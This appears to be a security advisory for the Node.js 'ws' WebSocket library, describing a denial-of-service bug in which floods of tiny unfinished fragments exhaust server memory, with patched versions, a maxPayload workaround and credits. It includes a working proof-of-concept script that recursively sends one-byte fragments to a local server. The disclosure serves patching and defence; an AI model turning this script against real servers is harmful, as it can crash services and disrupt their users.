ws: Memory exhaustion DoS from tiny fragments and data chunks

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (bca91ad) and backported to ws@7.5.11 (fd36cd8), ws@6.2.4 (86d3e8a), and ws@5.2.5 (b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.